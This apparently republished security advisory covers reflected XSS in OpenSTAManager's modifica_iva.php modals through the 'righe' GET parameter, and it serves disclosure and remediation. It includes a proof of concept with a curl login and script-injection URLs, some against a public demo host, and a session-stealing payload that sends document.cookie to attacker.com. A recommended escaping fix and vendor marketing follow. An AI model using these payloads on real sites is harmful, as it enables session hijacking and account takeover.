GHSA-jfgp-g7x7-j25j
OpenSTAManager Affected by XSS in modifica_iva.php via righe parameter
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Blast Radius
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Description
Summary
Multiple Reflected Cross-Site Scripting (XSS) vulnerabilities in OpenSTAManager v2.9.8 allow unauthenticated attackers to execute arbitrary JavaScript code in the context of other users' browsers through crafted URL parameters, potentially leading to session hijacking, credential theft, and unauthorized actions.
Vulnerable Parameter: righe (GET)
Details
OpenSTAManager v2.9.8 contains multiple Reflected XSS vulnerabilities in invoice/order/contract modification modals. The application fails to properly sanitize user-supplied input from the righe GET parameter before reflecting it in HTML output.
Vulnerable Code Location:
File: /modules/contratti/modals/modifica_iva.php (Line 125)
<input type="hidden" name="righe" value="<?php echo $_GET['righe']; ?>">
The $_GET['righe'] parameter is directly echoed into the HTML value attribute without any sanitization using htmlspecialchars() or equivalent functions. This allows an attacker to break out of the attribute context and inject arbitrary HTML/JavaScript.
All Affected Files:
/modules/contratti/modals/modifica_iva.php- Line 125, Line 167/modules/preventivi/modals/modifica_iva.php- Line 125, Line 167/modules/fatture/modals/modifica_iva.php- Line 121, Line 161/modules/ddt/modals/modifica_iva.php- Line 125, Line 167/modules/ordini/modals/modifica_iva.php- Line 125, Line 167/modules/interventi/modals/modifica_iva.php- Line 125, Line 167
PoC
Prerequisites:
- Running instance of OpenSTAManager v2.9.8
- Valid admin credentials (username: admin, password: admin for test instance)
Step 1: Login
curl -c cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
Step 2: Trigger XSS Navigate to the following URL in a browser (or use curl with cookies):
http://localhost:8081/modules/contratti/modals/modifica_iva.php?righe="><script>alert(document.domain)</script>
Tested URLs (All vulnerable):
https://demo.osmbusiness.it/modules/contratti/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>https://demo.osmbusiness.it/modules/preventivi/modals/modifica_iva.php?righe=1"><script>alert(document.cookie)</script>https://demo.osmbusiness.it/modules/fatture/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>https://demo.osmbusiness.it/modules/ddt/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>https://demo.osmbusiness.it/modules/ordini/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>https://demo.osmbusiness.it/modules/interventi/modals/modifica_iva.php?righe="><script>alert(document.cookie)</script>
Expected Result: JavaScript alert popup displays showing the current session cookie, confirming code execution.
HTML Output (verified on live instance):
<input type="hidden" name="righe" value=""><script>alert(document.cookie)</script>">
Verification:
<img width="1260" height="99" alt="image" src="https://github.com/user-attachments/assets/4e91a461-bae6-40fb-b7c3-b8bd1eb48473" /> <img width="2060" height="1180" alt="image" src="https://github.com/user-attachments/assets/6dbde967-0505-43d1-b455-adc91a4808c0" />Alternative Payloads:
Session stealing: "><script>fetch('https://attacker.com/?c='+document.cookie)</script>
Impact
Affected Users: All authenticated users with access to contracts, invoices, quotes, or orders modules.
Attack Scenario:
- Attacker crafts malicious URL with XSS payload
- Attacker sends URL to victim via email/chat/phishing
- Victim (authenticated user) clicks the link
- Malicious JavaScript executes in victim's browser context
- Attacker can:
- Steal session cookies → Full account takeover
- Perform actions on behalf of victim (create/modify/delete records)
- Steal CSRF tokens and bypass CSRF protection
- Redirect to phishing page
- Inject keylogger to capture sensitive data
- Modify page content to trick user into revealing credentials
Recommended Fix:
<input type="hidden" name="righe" value="<?php echo htmlspecialchars($_GET['righe'], ENT_QUOTES, 'UTF-8'); ?>">
Apply this fix to all affected files listed in Details section.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐘Packagist | devcode-it/openstamanager | all versions | 2.9.8 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for devcode-it/openstamanager. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.
Fix
Update devcode-it/openstamanager to 2.9.8 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-jfgp-g7x7-j25j is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 pinpoints whether GHSA-jfgp-g7x7-j25j is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.
Tailored to GHSA-jfgp-g7x7-j25j. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-jfgp-g7x7-j25j in your dependencies?
O3 detects GHSA-jfgp-g7x7-j25j across Packagist dependencies and uses function-level reachability to confirm whether the vulnerable code path is actually reachable — not just present. No false positives.